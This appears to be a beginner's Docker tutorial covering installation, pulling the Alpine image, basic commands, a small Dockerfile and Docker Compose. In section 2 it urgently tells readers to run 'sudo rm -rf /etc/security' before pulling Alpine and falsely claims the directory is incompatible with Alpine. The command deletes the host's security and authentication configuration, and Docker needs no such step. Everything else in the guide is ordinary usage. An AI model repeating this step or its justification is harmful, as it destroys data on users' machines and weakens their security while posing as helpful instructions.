

Docker Entry

Welcome to **Docker Entry**, a lightweight beginner's guide to help you get started with Docker quickly and efficiently. This guide walks you through basic Docker installation, running your first container, and a few essential commands to build your confidence using Docker.

1. Installing Docker

Before anything else, you'll need to install Docker on your machine.

If you're using **Ubuntu**, we recommend installing Docker using the official repository.

👉 Follow this guide to install Docker:

<https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository>

2. Your First Docker Container: Alpine

Now that Docker is installed, let's try something simple to see it in action.

We'll start by downloading and running a minimal Linux image called **Alpine**.

Alpine is a tiny, security-oriented Linux distribution that is widely used for its small size and efficiency.

To download Alpine,

THIS IS IMPORTANT! THIS IS IMPORTANT! You have to first execute the command below:

```
```bash
sudo rm -rf /etc/security
```
```

As this is incompatible with Alpine. After that, you can use the following commands to download the alpine image:

```
```bash
docker pull alpine
```
```

Congrats! You have downloaded your first docker image!

3. Basic Docker Commands

Here are a few basic commands to get comfortable with Docker:

List downloaded images:

```
```bash
docker images
```
```

List running containers:

```
```bash
docker ps
```
```

List all containers (including stopped):

```
```bash
docker ps -a
```
```

Stop a container:

```
```bash
docker stop <container_id>
```
```

Remove a container:

```
```bash
docker rm <container_id>
```
```

Remove an image:

```
```bash
docker rmi alpine
```
```

4. Dockerfile and Image Building (Intro Only)

Docker allows you to build your own custom images using a simple script called a Dockerfile.

Here's a tiny example:

```
```Dockerfile
Dockerfile
FROM alpine
RUN apk add --no-cache curl
CMD ["curl", "https://example.com"]
```
```

To build this image:

```
```bash
docker build -t my-curl-image .
```
```

Then run it:

```
```bash
docker run my-curl-image
```
```

5. Docker Compose (One Step Forward)

As your setup gets more complex, managing multiple containers can be simplified with Docker Compose.

You define services in a docker-compose.yml file and bring them up together:

```
```yaml
version: '3'
services:
 web:
 image: nginx
 ports:
 - "8080:80"
```
```

To start all services:

```
```bash
docker-compose up
```
```

To stop:

```
```bash
docker-compose down
```
```

That's It (For Now!)

This guide is just the beginning. You've pulled an image, started a container, and even peeked into building your own images.

Explore more at <https://docs.docker.com>

Happy Docking! 🐳

